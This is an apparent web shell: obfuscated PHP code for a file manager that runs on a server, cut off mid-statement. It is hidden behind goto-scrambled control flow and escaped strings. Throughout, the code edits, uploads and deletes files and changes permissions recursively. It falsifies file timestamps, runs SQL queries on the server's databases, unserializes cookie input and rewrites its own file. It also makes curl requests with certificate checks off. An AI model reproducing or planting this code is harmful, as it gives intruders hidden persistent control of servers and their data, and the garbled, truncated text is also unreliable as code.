"\40\74\x2f\164\x68\76\15\12\x20\x20\40\x20\x3c\164\x68\x20\163\x74\171\x6c\145\x3d\x22\x77\x68\151\x74\145\55\x73\x70\141\143\145\x3a\x6e\x6f\167\162\x61\x70\x22\76\40"; goto cHLI0; rPJvl: goto k_Xf3; goto Phl4Y; Wuj1D: fuOeu: goto a1xEU; QYDsA: EJNNm: goto A8Jei; iBHxf: ZLOqk: goto mOG1N; zMOfu: BjY1p: goto P0b86; mrbMo: OVCwM: goto BubWR; levhf: wmm0b: goto TdFGf; K3M2Q: FAdru: goto fNMri; ViCj3: goto hf4T3; goto wZfQY; PFvL3: echo "\11\11\40\x20\x20\40\40\x20\40\x20\x20\x3c\x2f\x74\x64\76\xd\12\x9\11\x20\x20\x20\40\x20\x20\x20\x20\40\74\x74\x72\x3e\15\xa\15\12\11\11\40\x20\x20\40\x20\40\40\x20\x20\74\57\x74\141\x62\154\145\76\15\xa\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\40\x20\15\12\40\x20\40\x20\74\57\x74\x64\76\15\12\15\xa\74\x2f\x74\162\76\xd\12\x20\40\40\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\xd\12\74\x2f\164\141\x62\x6c\x65\x3e\xd\12\xd\12\x3c\x74\141\142\x6c\x65\40\143\x6c\x61\163\x73\x3d\42\x61\x6c\154\42\x20\x62\x6f\x72\144\x65\x72\x3d\47\60\47\x20\x63\145\x6c\154\163\160\141\x63\151\x6e\147\75\47\61\47\40\143\x65\154\154\160\141\x64\144\151\156\x67\75\x27\61\47\40\x69\144\75\x22\146\x6d\x5f\164\x61\142\x6c\145\x22\40\167\x69\x64\164\150\75\x22\x31\x30\60\45\42\76\xd\xa\15\xa\x3c\164\150\x65\x61\x64\x3e\15\12\x3c\x74\162\76\40\xd\12\x20\40\40\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\15\12\x20\40\40\40\74\164\x68\40\x73\164\171\154\x65\x3d\42\167\150\x69\x74\x65\x2d\x73\x70\141\x63\145\x3a\x6e\x6f\167\162\x61\160\x22\x3e\x20"; goto kTh52; fdVXl: goto hXUlW; goto I5VFV; gQJ4c: goto NgDdF; goto QIAee; g3qXv: goto Xdzs_; goto o4mCy; zH3ea: $O10i3 .= jnGiJ("\105\162\x72\157\x72\40\x6f\x63\x63\x75\x72\x72\x65\144"); goto eDa3R; adLOo: foreach ($xY82V as $g6Xdn) { goto X_yJL; X_yJL: $O10i3 .= "\x3c\141\40\x68\x72\x65\x66\x3d\x22" . ugSt6(true) . "\77\x66\155\x3d\x74\162\165\145\x26\145\144\151\x74\75" . basename($g6Xdn) . "\x26\x70\141\164\x68\75" . str_replace("\x2f" . basename($g6Xdn), "\57", $g6Xdn) . "\42\40\164\x69\164\154\145\x3d\x22" . JNgiJ("\105\144\151\x74") . "\x22\76" . basename($g6Xdn) . "\74\57\x61\x3e\46\x6e\142\x73\160\x3b\x20\46\x6e\x62\x73\160\73"; goto IRC_l; boZpS: MUuaK: goto td8Ww; IRC_l: HBKdz: goto boZpS; td8Ww: } goto MBvZf; kyWKE: q0WBT: goto fu3az; vQyW0: echo $VLMCB; goto iaIEd; QRlFh: goto sDIa7; goto nQ0Xp; l12s9: goto HfO69; goto QZtwI; TRpAZ: $W5Q_F->buildFromDirectory($GjkCm); goto v1w5x; mprQK: IMWpV: goto aiQzt; OmIu6: echo "\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\40\40\x20\40\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\15\xa\11\x9\40\40\x20\x20\40\40\x20\40\40\11\15\xa\40\x20\40\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\xd\xa\40\40\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\40\40\15\12\x20\40\40\40\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\74\57\x74\x64\76\xd\xa\15\12\x9\x9\40\x20\x20\40\x20\40\40\x20\x20\x9\74\x74\x64\76\15\xa\x9\x9\40\x20\40\x20\40\x20\40\40\40\11"; goto ItvFs; Hup5k: goto y7HET; goto PbpBc; A3sup: goto Iq2n9; goto oO9j1; kr_le: $j2Yhm = 1.4; goto yUAe5; Oi3TZ: CpGSw: goto OmIu6; SKA6R: echo $fahGj["\163\143\162\151\x70\164"]; goto Io1x5; YBOEg: $OILqp = "\173\x22\101\x6c\x6c\40\142\141\x73\x65\163\x22\72\42\123\x48\117\127\x20\104\101\124\x41\102\x41\x53\x45\x53\x3b\42\x2c\x22\x41\x6c\x6c\x20\x74\141\142\154\x65\163\x22\x3a\x22\123\x48\x4f\127\40\x54\x41\102\114\105\123\73\x22\x7d"; goto I1jrr; aXnWg: goto bVtRn; goto Sc_pw; IWtG0: YYvJ2: goto t5zMW; nqyHM: JTWyk: goto ZfXIF; Vnwz1: echo jnGiJ("\x55\x70\x6c\157\x61\x64"); goto SIvIY; RZT7O: if (!is_file($wdJBd)) { goto olj2q; } goto v47rc; b_vNK: $OkwW2 = array("\145\156", "\x72\165", "\144\x65", "\146\x72", "\x75\x6b"); goto PWJx5; LwK2a: OYg5Y: goto kIhsH; Q3i0H: XdQIY: goto fwjMj; c8CPQ: IXGcQ: goto cKjx1; eDa3R: goto thE5f; goto jmyoN; Wq0jq: goto wPtm1; goto vSmpM; Hedwp: if (!empty($F3M0G[1])) { goto q0WBT; } goto gjoc9; HWwd9: SA9F4: goto NkFsz; d2Gsn: echo $p9djE; goto doQCG; UWzJy: Wci9O: goto FrFZr; oob8q: goto OgK3g; goto Bqncf; cKjx1: goto UudAk; goto SrAv6; S26y6: Ghorh: goto MSqZb; xFSsj: QrgnQ: goto JZHEY; U3XYm: goto kmVPP; goto I2vEq; lQQiG: goto pY68H; goto ryHmu; AqbiY: bPPVy: goto OMRz4; Mdt0a: CwYne: goto rDVlk; qlrof: echo "\40\40\40\40\40\x20\40\x20\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\15\xa\74\x74\141\x62\154\x65\x20\143\154\141\163\163\75\x22\x77\x68\157\x6c\x65\x22\x3e\15\12\15\12\74\164\x72\x3e\15\xa\40\40\40\x20\x3c\164\150\x3e"; goto mqMhO; WrYQ8: goto eFoO3; goto Ur3UD; AmHpn: $I3Jc9 = version_compare(phpversion(), "\x35\56\63\56\60", "\74") ? true : false; goto zzDAC; iF63h: echo !empty($_POST["\x73\145\141\162\x63\x68\137\162\x65\143\x75\162\163\151\x76\x65"]) ? $_POST["\x73\x65\x61\x72\x63\x68\x5f\162\x65\143\x75\162\163\151\166\145"] : ''; goto XwTkq; JqMHR: zkLsL: goto adLOo; w86td: goto LLSzP; goto iC2zI; N_f5k: goto XdQIY; goto tyZXT; DU6OX: echo "\15\xa\74\164\x61\x62\154\x65\40\143\x6c\141\163\x73\x3d\42\167\x68\x6f\154\x65\x22\76\xd\xa\15\12\x3c\164\162\x3e\xd\xa\x20\40\40\40\x3c\164\x68\x3e"; goto fPoAn; n5Mmq: ieIop: goto BDmW6; pymtD: $Vd7NW = json_decode($RdE76, true); goto AwVkH; WCB2R: Z5pZq: goto WIirC; MBvZf: GNAAK: goto V30Y6; ZxutZ: goto QtwIH; goto Q2KPr; KzOxH: xsTCf: goto HsKzR; Khhom: goto gNk6g; goto JPmKo; OPdYA: curl_setopt($N2qJa, CURLOPT_SSL_VERIFYHOST, 0); goto IqQb_; wmf0z: goto cvdnR; goto ZtPnv; BDmW6: $C0tA4 = $ftdA2; goto IL2K_; JhKWO: goto ZeFzX; goto QvWzn; qcflu: goto jLQJl; goto uHVIz; Zu2zi: SbVOO: goto Pjvrj; xhUNY: g8IWM: goto rPIFz; tYwVU: goto BBM7T; goto w85D_; aQPqL: if (!ydnyL($VLMCB . $_REQUEST["\x72\x69\147\x68\x74\163"], HoZsz($_REQUEST["\162\x69\147\150\164\x73\137\x76\141\154"]), @$_REQUEST["\162\x65\143\165\x72\x73\x69\166\145\154\x79"])) { goto s_FmD; } goto TsGRP; W8RJh: echo JnGiJ("\123\165\x62\x6d\151\164"); goto f8_3E; lYPSY: AFA7d: goto PFvL3; yg1n3: goto uqyRv; goto spbvd; U2ZZP: IPvXj: goto sYu_u; D5MI9: touch($br2Yn, $A1eqp); goto SZ_XA; tr0cX: oYwvi: goto mGBse; tX7qG: wPtm1: goto gzSrn; zcUF7: goto D3cCg; goto zwyQS; zoLOE: goto nGGHC; goto uEjRi; fBeAB: goto gT7Jq; goto ezzuV; c30T2: goto HrxSi; goto E0vR3; spbvd: CUDas: goto hMTtW; Eqm_3: h971k: goto qOUpy; NpB1i: NH4xJ: goto ZecK5; qWOUw: goto FKtKC; goto SfIHL; kkFNE: echo "\x22\40\x76\141\154\165\x65\75\x22"; goto Bo_xz; qFmzy: echo "\x22\x3e"; goto OHREj; ke4eJ: goto ORLF7; goto dIaM9; izeGF: goto Xuv8o; goto nPHf4; uZW_8: goto Q2Hr0; goto XhCF0; f8ZiH: goto jkBiD; goto ewcYR; r7z_L: $fahGj["\x64\x61\171\163\x5f\141\x75\x74\x68\x6f\162\151\172\141\x74\151\157\156"] = isset($fahGj["\x64\x61\171\x73\x5f\141\x75\164\150\x6f\162\x69\172\141\164\151\x6f\x6e"]) && is_numeric($fahGj["\144\141\x79\163\x5f\141\165\x74\150\157\162\x69\172\x61\164\x69\x6f\156"]) ? (int) $fahGj["\144\141\x79\163\137\x61\x75\x74\150\157\162\x69\x7a\141\164\x69\x6f\156"] : 30; goto w9DfJ; YP3DP: goto THozy; goto ttR7z; jhXbv: FvOBD: goto PtngR; uBZJi: $kSmbA = curl_exec($N2qJa); goto a0HYX; ewcYR: FHBaQ: goto fJauR; Oo8rc: ${$jICw7 . "\x5f\164\145\155\160\154\x61\164\145\x73"} = $Wvxq6; goto Q7Mau; TK3pb: goto I2LPU; goto bHSrY; ABnWm: goto YYFk6; goto NuJPp; sYu_u: die; goto FEJ_Z; KI5_x: goto YDDXs; goto saLt8; VJbQT: MemnR: goto sCI0W; zkTaS: $GCQI2 = $p9djE . "\x5f\x74\145\x6d\160\154\141\164\145\x73"; goto Xt6n7; lqEFF: pvNnp: goto Klo3m; otIec: aczly: goto EYOj8; aSjGX: swJcd: goto ZNHcN; mBApb: bbPhB: goto k5TiY; QQgGV: $C0tA4 = unserialize($_COOKIE["\146\x6d\x5f\x63\157\x6e\146\x69\147"]); goto nObmq; y1XNx: iVD6m: goto VSpFy; Pr20J: echo "\x3c\x2f\164\150\76\xd\xa\74\57\x74\x72\76\15\xa\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\xd\xa\74\164\x72\76\15\xa\15\12\x20\40\40\x20\74\164\144\40\x63\154\x61\x73\163\75\x22\x72\x6f\167\61\42\x3e\15\xa\xd\xa\x20\40\40\40\40\40\x20\40"; goto Dc4xa; fNsN6: pgRVs: goto ppEhK; LAQON: echo "\x2c\40"; goto iST4_; PbBZe: Xl4su: goto oDy9I; zpq4b: XViuk: goto zMQDr; OBrA0: function awO5i($N83v0 = false) { return "\x26\x6e\142\163\x70\73\x3c\141\40\x68\x72\x65\x66\75\x22" . UGst6($N83v0) . "\x22\x20\164\151\164\x6c\x65\75\x22" . JngiJ("\x48\x6f\155\145") . "\42\76\x3c\x73\x70\x61\x6e\x20\x63\x6c\141\163\x73\x3d\x22\x68\157\x6d\x65\42\x3e\x26\x6e\142\x73\x70\x3b\x26\156\x62\x73\160\73\x26\x6e\x62\163\160\x3b\x26\156\142\163\x70\73\x3c\x2f\163\x70\141\156\76\x3c\x2f\x61\x3e"; } goto mVijU; nGC9i: goto oESd3; goto Zu2zi; Ypv15: goto lKsBT; goto zBeqL; wNXUq: if (!empty($C0tA4["\x65\156\x61\x62\x6c\145\x5f\x70\162\157\170\x79"])) { goto hEerG; } goto owcLf; yUcwb: $O10i3 .= JNGiJ("\103\x72\x65\141\x74\x65\x64") . "\x20" . $_REQUEST["\144\151\162\156\x61\x6d\145"]; goto szvTW; OoxlD: PMi1h: goto qtDSe; osEux: goto R8NzN; goto jD0Wd; SIvIY: goto pXZpM; goto pf6Mc; Gyjw6: goto cHdrO; goto DDJPQ; jWfSI: goto MTz5f; goto y2H3M; d1vZQ: NFZfh: goto Sldk3; lkgK8: goto KmUKy; goto JFl7p; h8D2n: unset($_COOKIE[$fahGj["\143\157\x6f\153\151\145\x5f\x6e\141\155\x65"]]); goto n6Mi1; JBpGI: goto BFBY4; goto NHaF3; RyZnb: function SwkCl() { return "\xd\xa\15\xa\x69\x6e\x70\165\x74\54\x20\x69\156\160\x75\x74\56\146\155\137\x69\x6e\x70\x75\x74\40\173\xd\12\x9\164\x65\x78\x74\x2d\x69\156\144\x65\156\x74\x3a\x20\62\x70\x78\x3b\15\12\x7d\xd\xa\40\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\15\xa\xd\xa\x20\x20\x20\40\40\40\x20\40\40\x20\x20\40\x20\40\40\40\40\40\x20\40\x20\40\40\40\x20\x20\15\12\151\x6e\160\165\x74\x2c\40\x74\x65\x78\x74\x61\162\145\x61\x2c\40\163\x65\x6c\x65\143\x74\x2c\40\x69\x6e\160\x75\x74\x2e\146\x6d\x5f\x69\x6e\160\x75\x74\x20\173\15\12\40\40\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\40\40\40\xd\xa\x9\143\x6f\154\x6f\x72\x3a\40\x62\154\141\x63\x6b\x3b\15\xa\x9\146\157\x6e\x74\72\x20\156\x6f\x72\155\x61\154\x20\70\x70\x74\40\126\x65\162\144\x61\156\141\x2c\40\101\162\x69\x61\x6c\54\40\110\x65\x6c\x76\x65\164\151\x63\x61\54\x20\163\x61\x6e\x73\x2d\x73\145\x72\x69\x66\x3b\xd\xa\xd\xa\11\142\157\x72\x64\145\162\x2d\143\x6f\x6c\157\162\72\40\x62\154\x61\x63\x6b\73\xd\xa\40\x20\40\40\40\40\x20\40\40\40\40\40\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\40\40\40\40\40\40\x20\15\12\x9\x62\x61\143\153\x67\162\x6f\x75\156\144\x2d\143\x6f\154\157\x72\72\40\43\x46\x43\106\103\x46\x43\x20\x6e\x6f\156\x65\40\41\151\x6d\160\157\162\x74\141\156\164\73\xd\12\xd\xa\11\142\157\x72\144\145\x72\x2d\162\x61\x64\x69\165\163\72\40\x30\73\xd\xa\x20\40\40\x20\40\40\x20\40\40\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\x20\40\40\40\40\40\40\xd\xa\x9\160\x61\144\x64\151\x6e\147\x3a\x20\x32\x70\170\73\xd\xa\xd\xa\175\xd\xa\xd\12\15\12\xd\12\151\x6e\160\165\164\56\x66\155\137\151\x6e\160\165\x74\x20\x7b\xd\xa\xd\xa\11\142\x61\x63\x6b\147\162\157\165\x6e\144\72\40\43\x46\x43\x46\x43\106\x43\x20\x6e\157\156\145\x20\x21\151\x6d\160\157\x72\164\141\x6e\164\73\15\12\xd\xa\x9\x63\x75\x72\x73\x6f\162\x3a\x20\160\x6f\151\x6e\x74\x65\162\x3b\xd\12\15\12\x7d\xd\xa\x20\40\x20\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\40\40\40\40\40\40\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\15\12\xd\xa\xd\xa\56\150\157\155\145\x20\x7b\15\12\40\x20\40\x20\40\40\40\40\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\40\40\40\x20\15\12\11\x62\141\143\x6b\147\162\157\x75\x6e\x64\55\x69\155\141\147\x65\72\40\165\x72\x6c\x28\x22\144\141\x74\141\72\x69\x6d\x61\x67\145\x2f\160\x6e\147\73\142\x61\x73\x65\x36\x34\x2c\x69\126\102\x4f\x52\x77\60\x4b\x47\x67\157\x41\x41\x41\101\x4e\x53\125\150\x45\x55\x67\101\x41\x41\102\x41\x41\x41\101\101\121\x43\101\x4d\x41\101\101\x41\157\114\x51\x39\x54\101\x41\x41\101\x42\107\144\102\x54\x55\x45\101\101\x4b\57\x49\116\167\127\x4b\x36\121\x41\x41\x41\147\x52\x51\124\x46\122\x46\x2f\146\63\x39\x36\117\152\157\x2f\57\x2f\x2f\x74\124\60\x32\172\x72\53\146\167\x36\x36\x52\164\x6a\x34\x33\62\124\x45\160\63\x4d\130\105\x32\104\101\x72\x33\x54\131\x70\x31\171\x34\x6d\164\x44\167\x32\x2f\67\102\x4d\x2f\x37\102\x4f\x71\126\160\143\57\x38\x6c\x33\61\x6a\x63\x71\x71\66\x65\156\167\143\x48\x42\62\x54\147\151\x35\152\147\x71\x56\160\142\x46\166\x72\x61\x32\x6e\102\x41\x56\57\120\172\x38\x32\x53\60\x6a\156\170\60\x57\x33\x54\125\x6b\161\123\147\151\x34\145\110\x68\x34\x54\163\x72\145\64\x77\157\x73\172\60\x32\x36\x75\120\x6a\x7a\x47\x59\x64\x36\125\163\x33\171\x6e\x41\x79\x64\x55\x42\x41\x35\113\154\63\x66\x6d\65\x65\161\x5a\x61\x57\x37\x4f\x44\x67\151\62\x56\x67\x2b\120\x6a\64\x75\131\x2b\x45\167\114\155\65\142\131\x39\x55\57\x2f\67\x6a\x66\114\x74\x43\x2b\x74\117\x4b\63\152\143\155\57\67\61\165\62\x6a\131\x6f\x31\x55\131\x68\65\141\x4a\x6c\57\x73\145\103\63\152\x45\155\x31\62\153\x6d\x4a\162\111\101\x31\x6a\115\155\57\71\141\125\64\x4c\150\x30\145\60\61\x42\x6c\111\141\x45\x2f\57\x2f\144\150\x4d\144\103\x37\x49\x41\57\57\x66\124\132\62\x63\63\115\127\x36\156\116\63\x30\167\146\x39\65\x56\144\64\x4a\144\130\x6f\x58\x56\x6f\x73\70\x6e\105\x34\145\x66\116\x2f\x2b\x36\63\111\112\147\x53\x6e\x59\150\154\67\x46\64\143\163\130\164\70\71\x47\121\125\x77\114\x2b\57\152\x6c\x31\x63\x34\61\101\161\53\x66\x62\x32\147\x6d\164\111\x31\x72\x4b\141\x32\x43\x34\153\x4a\141\x49\101\x33\152\x59\x72\x6c\x54\x77\65\x74\152\64\x32\63\x6a\131\156\x33\143\x58\105\x31\172\121\x6f\x78\115\x48\x42\x70\61\x6c\132\x33\x44\x67\x6d\161\x69\153\x73\57\x2b\155\143\x6a\x4c\113\x38\63\152\131\153\x79\155\115\126\63\124\x59\153\57\57\x48\x4d\x2b\165\67\127\150\x6d\164\x72\60\157\x64\x54\160\141\117\152\x66\x57\112\x66\162\110\160\x67\x2f\x38\x42\163\x2f\x37\164\x57\x2f\67\x56\145\x2b\64\x55\x35\x32\104\115\x6d\63\x4d\x4c\x42\x6e\x34\161\114\x67\116\126\115\x36\x4d\172\102\x33\154\x45\x66\x6c\111\x75\x4c\x2f\x2b\152\x41\57\57\x2f\x32\60\114\117\x7a\x6a\130\x78\70\x2f\x37\154\142\x57\160\112\107\62\x43\70\153\x33\124\x6f\163\112\113\115\101\61\171\167\152\157\x70\117\122\61\x7a\131\x70\65\104\163\160\151\x61\171\53\171\x4b\116\150\x71\113\x53\x6b\70\x4e\x57\x36\x2f\x66\152\x6e\163\x37\117\x7a\x32\x74\x6e\132\165\x7a\70\70\67\142\53\x57\63\141\122\x59\x2f\53\x30\x78\71\102\145\x35\x34\x65\x63\65\141\65\65\101\x39\67\x35\63\145\x39\x39\x38\65\67\x35\102\x31\65\x42\60\70\64\x32\x66\70\x61\65\x38\105\67\71\x61\x2f\71\161\111\x75\x77\x67\x4b\171\60\x73\127\53\x75\x6a\x54\64\x54\121\156\x74\x7a\x34\62\63\x43\x38\151\63\x7a\x55\x6a\57\x2b\x4b\x77\57\141\x35\144\66\125\x4d\170\x75\114\x36\x77\172\x44\105\x72\57\x2f\57\57\x63\161\112\x51\146\101\x41\x41\x41\113\170\x30\125\153\65\x54\x2f\57\x2f\57\x2f\57\x2f\x2f\57\x2f\x2f\57\x2f\x2f\57\x2f\57\57\x2f\x2f\57\x2f\57\x2f\57\57\x2f\x2f\x2f\57\x2f\57\57\57\x2f\x2f\57\57\57\57\x2f\57\x2f\x2f\x2f\57\57\57\57\57\x2f\x2f\x2f\x2f\57\x2f\x2f\57\57\x2f\x2f\57\x2f\x2f\57\57\x2f\57\x2f\57\57\57\57\x2f\x2f\x2f\x2f\x2f\x2f\57\x2f\x2f\x2f\x2f\57\57\x2f\57\x2f\x2f\x2f\57\x2f\57\x2f\57\x2f\57\x2f\x2f\57\57\57\57\57\57\x2f\57\x2f\x2f\57\57\57\57\57\x2f\x2f\57\57\57\x2f\57\57\x2f\57\x2f\57\x2f\x2f\57\57\x2f\57\57\x2f\x2f\x2f\57\57\x2f\x2f\57\x2f\57\x2f\x2f\x2f\x2f\x2f\57\x2f\57\x2f\57\x2f\x2f\57\57\x2f\57\57\x2f\x2f\x2f\x2f\x2f\57\57\x2f\57\x2f\57\x2f\x2f\x2f\x2f\x2f\57\57\57\x2f\57\x2f\57\x2f\57\57\x2f\x2f\57\x2f\x2f\x2f\57\57\x2f\57\57\x2f\57\57\57\x2f\57\57\57\57\x2f\57\57\x2f\57\57\x2f\57\x2f\57\x2f\x2f\x2f\x2f\x2f\x2f\57\57\x2f\57\57\101\101\x57\126\106\x62\x45\x41\x41\101\101\132\144\105\126\131\144\x46\x4e\166\x5a\x6e\122\63\x59\x58\x4a\x6c\101\105\106\x6b\x62\62\x4a\154\x49\105\x6c\x74\131\x57\x64\x6c\125\155\x56\x68\132\110\x6c\170\x79\127\125\70\101\x41\101\101\x32\125\154\x45\121\126\x51\157\125\x32\x4e\x59\152\121\x59\131\163\x41\x69\x45\70\125\x39\131\172\104\131\152\x56\160\x47\x5a\122\x78\115\151\x45\x43\151\x74\x4d\x72\x56\132\x76\157\115\162\124\154\x51\62\105\123\x52\121\x4a\x32\106\126\x77\151\x6e\131\x62\155\x71\124\x55\114\157\x6f\150\156\x45\61\x67\x31\141\x4b\x47\123\x2f\x66\x4e\x4d\164\153\x34\x30\x79\x5a\71\113\126\x4c\121\x68\x67\x59\153\x75\131\x37\116\x78\121\166\x58\171\x48\126\106\x4e\x6e\113\172\x52\x36\71\161\x70\x78\102\x50\x4d\x65\172\x30\105\x54\101\121\171\x54\x55\x76\x53\157\x67\x61\111\106\x61\120\x63\116\161\x56\x2f\x4d\x35\144\x68\141\62\x52\x6c\62\124\x69\x6d\142\x36\x5a\x2b\x51\x42\x44\x59\x31\130\116\x2f\x53\142\165\70\x78\106\x4c\x47\x33\x65\x4c\104\x66\154\62\x55\101\x42\x6a\151\154\x4f\x31\x6f\60\61\x32\x5a\x33\x65\153\61\x6c\x5a\x56\x49\x57\x41\101\x6d\125\124\x4b\66\x4c\x30\163\x33\160\130\x2b\x6a\152\66\160\165\132\x32\101\x77\127\125\166\x42\x52\x61\x70\x68\163\167\115\144\125\165\152\x43\151\x77\x44\167\x61\x35\x56\x45\x64\120\x49\x37\x79\156\125\x6c\143\x37\166\61\161\x59\125\x52\x4c\x71\x75\146\x34\62\150\172\64\65\x43\x42\120\x44\x74\x77\101\x43\x72\155\x2b\x52\x44\143\x78\x4a\131\101\101\101\101\x41\102\112\122\125\65\105\x72\x6b\x4a\147\x67\x67\x3d\75\x22\51\x3b\15\xa\xd\12\11\142\x61\x63\x6b\x67\162\x6f\x75\156\144\x2d\x72\145\160\145\141\x74\72\x20\x6e\157\x2d\x72\x65\160\145\141\164\x3b\15\12\15\12\x7d"; } goto xiCnE; nH0RD: goto PRIY9; goto oDSXc; cLtHe: H4iKU: goto HVFxm; CekXj: goto MyHdM; goto M6hKe; iNAml: goto XWmMT; goto Gz8vV; dpoSa: lWCmP: goto gxeKX; V4opb: if (!file_put_contents(__FILE__, $b0bjX)) { goto CTWCK; } goto eszp2; TxFbP: $O10i3 .= JNgij("\x45\162\162\157\162\40\157\x63\143\x75\162\162\x65\x64") . "\x3a\40" . JNgij("\156\x6f\40\x66\x69\154\145\123\145\x74"); goto pKYwk; vNB2v: JVErT: goto TY01N; W6H2r: Ohtuf: goto s_sku; t8zk4: goto IMV6A; goto rzKRP; nfiu6: W1Qhy: goto a1S_T; WJkor: goto pDEBx; goto Arm0f; rtAyF: echo htmlspecialchars($jEVeT); goto RT9wu; CmrJB: n_wJm: goto W8RJh; YcPG1: $Y2HeO = empty($_POST["\x73\x71\x6c"]) ? '' : $_POST["\163\x71\154"]; goto qzJjt; MZPDQ: $O10i3 .= jNGij("\105\162\x72\157\162\x20\x6f\x63\143\x75\162\162\x65\x64"); goto YXXvv; Fr1_6: p7rnP: goto wZuuI; B3r1q: kcgai: goto XhjwN; g2xpw: AkMGp: goto R2hi_; jypa7: echo $Ga3rH; goto aXnWg; MNvIZ: HPDls: goto fqi5K; JrJvc: tn9xI: goto XHxj_; szvTW: goto PyflB; goto SXlrl; cTqfw: va0Ef: goto uL2kg; mLqB_: Ahx4o: goto Yx70x; kA9Po: MVjOd: goto gWf1V; E8HMd: goto WZqfb; goto aCwWI; mVdTD: goto DcA3F; goto ZTj5n; Cs0tJ: tVhra: goto TCI4B; q3JhX: PBs5D: goto Zlnif; VnHUG: XVFot: goto ppNiX; UzyAn: goto opuXD; goto eiGpt; pUHr2: goto XQyLe; goto Xvs7W; OqPeK: ncu48: goto rkhEF; a6l5b: goto lHJ02; goto aOIvr; HYkZN: if (!empty($C0tA4["\163\x68\157\x77\x5f\147\x74"])) { goto sTTHF; } goto w1pes; XhCF0: y8TjT: goto j4465; wUJUi: $q6pGo = preg_match("\43" . $jICw7 . "\x5f\x74\145\155\x70\x6c\x61\164\x65\163\133\x5c\x73\135\77\134\x3d\133\134\163\x5d\x3f\x27\x5c\173\x5c\42\x28\56\x2a\77\x29\x5c\x22\x5c\175\47\73\x23", $lpHQQ, $F3M0G); goto UcBRV; jDv6o: eFoO3: goto dvJ8c; aCSLk: SBJNX: goto HInHo; NObl2: gubCy: goto XNCHg; R5JSf: goto H4iKU; goto jGhDj; JZzYJ: echo aWo5i(); goto tP_07; zwChv: goto iWSqw; goto cTqfw; mCLFi: $O10i3 .= JNGiJ("\124\141\163\x6b") . "\40\x22" . jNgiJ("\101\162\x63\x68\151\x76\151\156\147") . "\40" . $e2Q0i . "\x22\40" . jNGiJ("\144\x6f\156\x65") . "\56\46\156\142\163\160\73" . WJ_30("\144\157\167\x6e\154\x6f\141\x64", $VLMCB . $e2Q0i, jnGiJ("\104\x6f\167\x6e\x6c\x6f\x61\144"), JnGij("\x44\157\167\x6e\x6c\x6f\x61\x64") . "\40" . $e2Q0i) . "\x26\156\x62\163\x70\x3b\x3c\141\40\150\x72\x65\146\x3d\x22" . $Ga3rH . "\46\144\145\154\x65\x74\145\x3d" . $e2Q0i . "\x26\160\141\164\150\75" . $VLMCB . "\42\x20\x74\x69\x74\154\x65\x3d\x22" . JNgij("\x44\x65\x6c\x65\164\145") . "\x20" . $e2Q0i . "\x22\40\76" . JNgIJ("\104\x65\154\x65\x74\145") . "\74\57\x61\76"; goto njvE0; XpZxA: unacK: goto y1gFt; wyp2r: curl_setopt($N2qJa, CURLOPT_REFERER, $IZ9dM); goto lIZdJ; TxemP: dwVrn: goto W6eNB; aksOc: N8qwO: goto ZOa7k; iDCva: echo jNgIJ("\122\x65\x63\x75\x72\163\151\166\145\x6c\171"); goto JiT3Q; CuMFV: Pp3dB: goto QRSwE; t78SX: $O10i3 .= JngiJ("\106\151\154\145\40\165\160\x64\141\x74\145\x64"); goto wlpye; TP7mr: $O10i3 .= jnGIj("\105\x72\162\157\162\x20\157\143\143\x75\x72\162\x65\144"); goto plZnI; BRAYw: WQgy1: goto lyiTQ; sB8N9: goto IOUQV; goto l_Vr0; GSf6k: goto fsxa3; goto l3cHB; VyXpa: goto w2Ct5; goto a5ser; BdCXM: if (!empty($C0tA4["\x6e\145\x77\137\146\x69\x6c\145"])) { goto irjub; } goto LRYlW; IL2K_: goto OYg5Y; goto dZvXK; XNibw: BMJB2: goto gAG42; PKTTx: goto tJ01Z; goto ZrOjX; kPyQ7: MTz5f: goto Yyu_2; C3Y_E: ENn38: goto nL72S; MSqZb: goto g8IWM; goto N53mw; Gz8vV: TrrMU: goto C8I69; Bhe1R: asKLY: goto dCoMq; Xnp_8: goto kunFb; goto nv3f5; TS4hO: vqd8P: goto IofND; j1E4X: goto yJu0f; goto hdmr1; ew3WE: mV6LV: goto wTdxH; TYqHR: goto Ssp2i; goto lh3GZ; y8s7l: goto XWQUx; goto OrxXJ; PUKWY: $iJSaS = explode("\x20", microtime()); goto TYqHR; VSpFy: $O10i3 = ''; goto ibBi4; n6Mi1: goto UNp15; goto Y6sRc; mDNLg: goto UyP3V; goto D4iN1; GXGLx: if (!empty($gSlwl)) { goto hfWGD; } goto tt4_l; lZtLc: echo 